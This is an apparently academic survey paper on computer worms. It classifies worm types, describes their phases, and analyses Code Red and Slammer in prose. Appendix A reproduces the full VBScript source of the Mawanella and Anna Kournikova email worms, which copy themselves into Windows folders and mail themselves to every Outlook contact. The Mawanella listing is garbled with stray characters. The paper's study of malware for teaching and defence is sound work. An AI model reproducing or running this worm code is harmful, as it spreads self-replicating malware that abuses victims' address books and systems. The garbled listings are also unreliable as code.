To understand the spread of worms, it is essential to analyze their source code. Malicious viral code is freely available on the internet. This paper aims to identify common patterns in worm behavior and their evolution. By analyzing the source codes of several recent worms, we can enhance our understanding of worm behavior and develop more effective antivirus systems.

1. **Introduction**

A computer worm is an independent malicious program that propagates itself across a network by exploiting security or policy flaws in widely-used services. Worms differ from traditional viruses in that they can propagate without manual intervention. Upon arrival, the worm may replicate itself or perform unwanted actions. Traditional viruses require a host program to execute. Malicious code has been a concern in computer security since Ken Thompson's self-replicating code. In recent years, the widespread adoption of the internet has made worms and viruses more destructive, spreading around the world in hours and carrying highly damaging payloads. This affects end users and has a significant economic impact. New worms learn from past successes and mistakes, becoming more sophisticated.

Almost all dangerous worms known today share similar behavior and exploit well-known system vulnerabilities. Worms often use random scanning techniques to find vulnerable hosts. To understand the worm threat, we classify types of worms, payloads, and phases of their attacks.

Section 2 of this paper classifies types of worms. Section 3 presents common phases of a worm life cycle. Section 4 provides several worm examples. This work helps find feasible solutions to the problem.
2. Worm Classification
Worms can be classified according to the following categories [1-2]:

1. **Stealth worms** do not spread in a very rapid fashion but instead they spread in a stealthy, very hard to detect way by masking their traffic patterns amongst common traffic.

2. **Polymorph worms** can change themselves during propagation in order to make signature-based detection more complicated. In some cases, two strains of the same polymorph worm will not have a single coinciding element. This is achieved by encoding the main body of the worm and by modifying the program-decoder.

3. **File worms** are a modified form of viruses, but unlike viruses they do not connect their presence with any executable file. When they multiply, they simply copy their code to some other disk or directory hoping that these new copies will someday be executed by the user.

4. **Multi-vector worms** use different propagation methods in order to make more hosts vulnerable for attack and effectively propagate behind firewalls.

5. **Email worms** email themselves to other email addresses and make the user execute email attachments with malicious code or use bugs in the email programs to get attachments executed automatically.

3. Phases of a Worm
This section describes common phases of worms.

1. **Information Gathering Phase**
The worm selects hosts that will be targeted for infection during this phase. This is the mechanism by which the worm extends its view of the world around itself, determines information about the systems and networks around the machine, and discovers new targets to infect. Before a worm can infect a machine, it needs to identify and locate it. The worm sends stimuli to a possible target, and based upon the responses received, it determines what hosts are active and listening, what ports are open and accessible, and the configuration of the host. By identifying these characteristics which reveal a machine to be of a particular type or vulnerable, worms can identify which machines will become targets. For information gathering, the worm can do port scans of a block of machines in a network. Scanning can be either sequential or random. In sequential scanning ordered set of addresses are scanned, whereas the other scans addresses out of a block in a pseudo-random fashion. Both fully autonomous worms and semi autonomous worms that require timer or user-based activation employ such simple propagation strategies extensively.

2. **Infecting Target Machines Phase**
During this phase, the worm enters the host and, if required escalates privileges on other systems. After selecting the target in the first phase, the worm transmits itself into target machines. The privileges include exploitation of vulnerabilities, such as buffer overflows, cgi-bin errors etc. Attack capabilities of worms are limited to one platform or to the method used to find vulnerable hosts of the same type. When a worm attacks, it can have partial code running on infecting host machines and partial code on the machine being attacked.
3. **Payload Phase**

Any action programmed other than spreading itself will take place in this phase. Payload is what the worm delivers to an infected host. The worm can create backdoors in the host machine, alter or destroy files, transmit passwords it cracked, or leave copies of itself or other programs into memory to be executed at a later time as a time bomb. Worms use operating system facilities that are often automatic and invisible to the user. Often, worm activity remains invisible until their uncontrolled replication consumes system resources, slowing or halting other tasks. Worm attack can lead to Denial of service by flooding the network with useless packets. Worms can also send sensitive information to cause general confusion, collect sensitive data, or damage data in the host machines. Payload does not affect the network behavior of worm.

4. **Network Propagation Phase**

Selecting the targets and infecting these targets is accomplished during this phase using random number generators which generate random host addresses to be attacked next. Because the copies of the worm reside on different machines, some form of communication allows for the transfer of network vulnerability and mapping information which can be used in an attack. Worms can also keep track of the systems they attacked if all the copies of the worm know about each other.

4. **Code Analysis**

This section analyses source codes for the Code Red Worm and Slammer Worm.

4(a) **Analysis of Code Red Worm**[4]

On July 19, 2001 more than 359,000 computers were infected with the Code-Red Worm in less than 14 hours. At the peak of the infection, more than 2,000 new hosts were infected each minute. Code Red is an internet worm that replicates between Windows 2000 servers running Microsoft's IIS (Internet Information Services) and the Microsoft Index Server 2.0 or the Windows 2000 Indexing Service. Figure 1 shows the flow chart of Code Red worm.

1. **Selection of Target**

The worm sends its code as an HTTP request. This request exploits buffer-overflow vulnerability in Indexing Services used by Microsoft IIS.

2. **Infecting the Target Machines**

The worm attempts to connect to TCP port 80 on a randomly chosen host assuming that a web server will be found. Upon a successful connection to port 80, the attacking host sends a crafted HTTP GET request to the victim, attempting to exploit a buffer overflow in the Indexing Service of Microsoft IIS web server software.
Figure 1: Flow Chart of the Code Red Worm

3. Payload
The main worm payload is run if the current date of the month is between the 20th and 27th. Then, the worm will attempt to connect to an IP address associated with the popular site 'www.whitehouse.gov', and tries to flood it with connection attempts. The worm creates copies of itself in the memory in order to attack even more IIS servers. Overall, the payload of the worm degrades performance of the host machine and causes system instability as it spawns multiple threads and uses bandwidth.

4. Network Propagation
It uses a random number generator to generate the addresses of the servers to attack further. The worm created hundreds of threads of itself on the infected system. The worm spreads to other servers by using the static seed mechanism to generate a series of IP addresses. If the date is before the 20th of the month, the next 99 threads attempt to exploit more computers by targeting random IP addresses. To avoid looping back to re-infect the source computer, the worm does not make HTTP requests to its own IP address. Also, if the date is later than the 28th of the month, the worm's threads are not run, but are directed into an infinite sleep state. This multiple-thread creation can cause computer instability.

4(b) Analysis of the Slammer Worm[3]
Slammer is the fastest computer worm in history, which was released on January 25th 2003. It doubled in size every 8.5 seconds. It infected 75,000 hosts, which was more than 90% of vulnerable hosts within 10 minutes. Figure 2 depicts the Slammer phases.

1. Select target
Exploits vulnerability centered in the Microsoft SQL Server Resolution Service running on UDP port 1434 of SQL Server 2000 systems and systems with the Microsoft Desktop Engine 2000 (MSDE) installed.
2. **Infect target machines**
The worm sends multiple of its 376-byte code packets to randomly-generated IP addresses. It does not write itself to the disk. It exists only as network packets and in running processes on the infected computers.

3. **Payload**
The worm payload does not contain any additional malicious content in the form of backdoors, etc. The speed at which it attempts to re-infect systems to create a denial-of-service attack against infected networks is astonishing.

4. **Network Propagation**
When the SQL server receives the malicious request, the overrun in the server's buffer allows the worm code to be executed. After the worm has entered the vulnerable system, first it gets the addresses to certain system functions and then starts an infinite loop to scan for other vulnerable hosts on the Internet. Slammer performs a simple pseudo-random number generation formula using the returned gettickcount() value to generate an IP address that is used as the target, thereby spreading further into the network and infecting vulnerable machines. Multiple instances of the worm can infect a host because the worm does not check for previous infections of the target system.

![Flow Chart of Slammer Worm](image)

**Figure 2: Flow Chart of Slammer Worm**

4(c). Anna Kournikova and Mawanella worms
Source codes for both these worms are similar. Both are written in VBScript, add the source file to the windows directory of the recipient machine, get access to the Windows Outlook Address Book to get addresses and make use of MAPI, Messaging Application Programming Interface, to send e-mail to others. One tenured Professor of Medicine from a university in Texas was indicted by a grand jury for violating Federal law 18 USC 1030 a 5 (a) for opening the Mawanella.vbs attachment file he received via an e-mail. Figures 3 and 4 show the Mawanella.vbs and Anna Kournikova flow diagrams. The
source codes are reproduced in Appendix A. These codes can be used in a computer or network security course to improve students’ knowledge in worm algorithms.

Figure 3: Flow Chart of the Mawanella Worm
5. Conclusions

We surveyed different types of worms and examined the source codes of recent worms that infected hundreds of thousands of hosts within a short span of time. Also we provided an outline for the evaluation of existing network worms and analyzed them within this context. Installation of up-to-date security patches and intrusion detection and response mechanisms will help to protect our systems from worms.

The ability of attackers to rapidly gain control of vast numbers of internet hosts poses an immense risk to the overall security of the internet. Worms can spread in minutes and can be controlled, modified and remain active indefinitely, posing a threat for use in the attack of a variety of sites and networks. A typical worm leads to the incorporation of a large number of machines very quickly into the worm network as well as generating large amounts of associated traffic that can lead to Denial of Service with a huge impact on the network bandwidth. Worms can keep a low profile to avoid early detection. That means
the worm does not display its intentions, either immediate or obvious, in the early stages of the infection. The longer a worm manages to remain undetected, the higher the number of hosts it will be able to infect. After some time, all worms may wake up at once or at random to perform their attacks. Computer worms could be programmed to attack only within a particular region or a country.

Worms represent a serious threat to the safety of the internet as they are capable of infecting large number of machines at a very high speed. There is need for stronger collective institutional and technical measures to control worms. It is equally important to identify vulnerabilities or possible weak links in software systems and networks and a need to provide patches preemptively. An understanding of the psychological profile of worm coders might lead to new insights on worm behavior and possible disinfectant techniques. Studies related to vulnerabilities of new wireless devices will also help in preventing worm attacks. Such studies will help identify weaknesses in software and network systems and harden the internet.

References
Appendix A

MAWANELLA WORM SOURCE CODE

On Error Resume Next
Rem // I hate Mawanella incident
Set WW_S = CreateObject(W"WWScript.ShellW")
Set fso = CreateObject(W"Scripting.FileSystemObjectW")
set file = fso.OpenTextFile(WWScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()

sub main()
    On Error Resume Next
    dim wscr,rr, strMsg
    set wscr=CreateObject(W"WWScript.ShellW")
    Set dirwin = fso.GetSpecialFolder(0)
    Set dirsystem = fso.GetSpecialFolder(1)
    Set dirtemp = fso.GetSpecialFolder(2)
    Set cFile = fso.GetFile(WWScript.ScriptFullName)
cFile.Copy(dirsystem&W"\Mawanella.vbsW")

Set OutlookA = CreateObject(W"Outlook.ApplicationW")
If OutlookA = W"OutlookW" Then
    Set Mapi=OutlookA.GetNameSpace(W"MAPIW")
    Set AddLists=Mapi.AddressLists
    For Each ListIndex In AddLists
        If ListIndex.AddressEntries.Count <> 0 Then
            ContactCountX = ListIndex.AddressEntries.Count
            For Count= 1 To ContactCountX
                Set MailX = OutlookA.CreateItem(0)
                Set ContactX = ListIndex.AddressEntries(Count)
                'msgbox contactx.address
                'Mailx.Recipients.Add(ContactX.Address)
                MailX.To = ContactX.Address
                MailX.Subject = W"MawanellaW"
                MailX.Body = vbcrlf&W"Mawanella is one of the Sri Lanka's Muslim VillageW"&vbcrlf
                'Set Attachment=MailX.Attachments
                'Attachment.Add dirsystem & W"\Mawanella.vbsW"
                'Mailx.Attachments.Add(dirsystem & W"\Mawanella.vbsW")
                Mailx.Attachments.Add(dirsystem & W"\Mawanella.vbsW")
                MailX.DeleteAfterSubmit = True
                If MailX.To <> W"W" Then
                    MailX.Send
                End If
            Next
        End If
    Next
Else
    msgBox W"Please Forward this to everyoneW"
End if

strMsg= W" )                    (W" & vbcrlf
strMsg= strMsg & W"(  )                (   )  W" & vbcrlf
strMsg= strMsg & W"  (    )          (   )W" & vbcrlf
strMsg= strMsg & W"    (   )      (         )W" & vbcrlf
strMsg = strMsg & "Mawanella is one of the Sri Lanka's Muslim Village."
strMsg = strMsg & "This brutal incident happened here 2 Muslim Mosques & 100 Shops are burnt."
strMsg = strMsg & "I hat this incident, WWhat about you? I can destroy your computer"
strMsg = strMsg & "I didn't do that because I am a peace-loving citizen."

msgbox strMsg, "Mawanella"
ANNA KOURNIKOVA SOURCE CODE

'Vbs.OnTheFly Created By OnTheFly

On Error Resume Next

Set WScriptShell= CreateObject("WScript.Shell")
WScriptShell.regwrite "HKCU\software\OnTheFly", "Worm made with Vbswg 1.50b"
Set FileSystemObject=Createobject("scripting.filesystemobject")
FileSystemObject.copyfile wscript.scriptfullname,FileSystemObject.GetSpecialFolder(0) & "\AnnaKournikova.jpg.vbs"

if WScriptShell.regread ("HKCU\software\OnTheFly\mailed") <> "1" then
doMail()
end if

if month(now)=1 and day(now)=26 then
WScriptShell.run "Http://www.dynabyte.nl",3,false
end if

Set thisScript=FileSystemObject.opentextfile(wscript.scriptfullname, 1)
thisScriptText=thisScript.readall
thisScript.Close

Do
If Not (FileSystemObject.fileexists(wscript.scriptfullname)) Then
Set newFile=FileSystemObject.createtextfile(wscript.scriptfullname, True)
newFile.write thisScriptText
newFile.Close
End If
Loop

Function doMail()

On Error Resume Next
Set OutlookApp=CreateObject("Outlook.Application")
If OutlookApp="Outlook" Then
Set MAPINameSpace=OutlookApp.GetNameSpace("MAPI")
Set AddressLists=MAPINameSpace.AddressLists
For Each address In AddressLists
If address.AddressEntries.Count <> 0 Then
entryCount=address.AddressEntries.Count
For i=1 To entryCount
Set newItem=OutlookApp.CreateItem(0)
Set currentAddress=address.AddressEntries(i)
newItem.To=currentAddress.Address
newItem.Subject="Here you have, ;o)"
newItem.Body="Hi: & vbcrlf & Check This!" & vbcrlf & "
set attachments=newItem.Attachments
attachments.Add FileSystemObject.GetSpecialFolder(0) & "\AnnaKournikova.jpg.vbs"
newItem.DeleteAfterSubmit=True
If newItem.To <> "" Then
newItem.Send
WScriptShell.regwrite "HKCU\software\OnTheFly\mailed", "1"
End If
Next
End If
Next
end if

End Function

'Vbswg 1.50b